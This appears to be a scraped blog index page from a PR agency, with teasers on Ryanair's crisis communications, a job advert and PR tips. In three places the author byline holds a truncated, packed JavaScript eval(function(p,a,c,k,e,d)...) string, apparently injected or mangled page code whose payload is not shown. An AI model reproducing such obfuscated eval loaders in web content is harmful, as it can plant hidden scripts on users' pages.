Category: Strategic Communications

Did Ryanair take brand authenticity too far?

Crisis communications is an unpredictable game; your brand is in trouble and your main objective is to reassure your audience and stakeholders that your brand can be trusted. This week Irish low-cost airline,...

Our newest Group Account Director is out there in the wilderness; please help us bring them home.

A great and new opportunity is awaiting for a superstar to join our growing team. Taking full responsibility for accounts, growing business and delivering exceptional work, this Group Account Director...

Why I can sleep at night

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Top 6 Public Relations Tips for your Business Events

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

High value doesn’t have to mean high prices for niche services

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

When a crisis hits – be ready

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...

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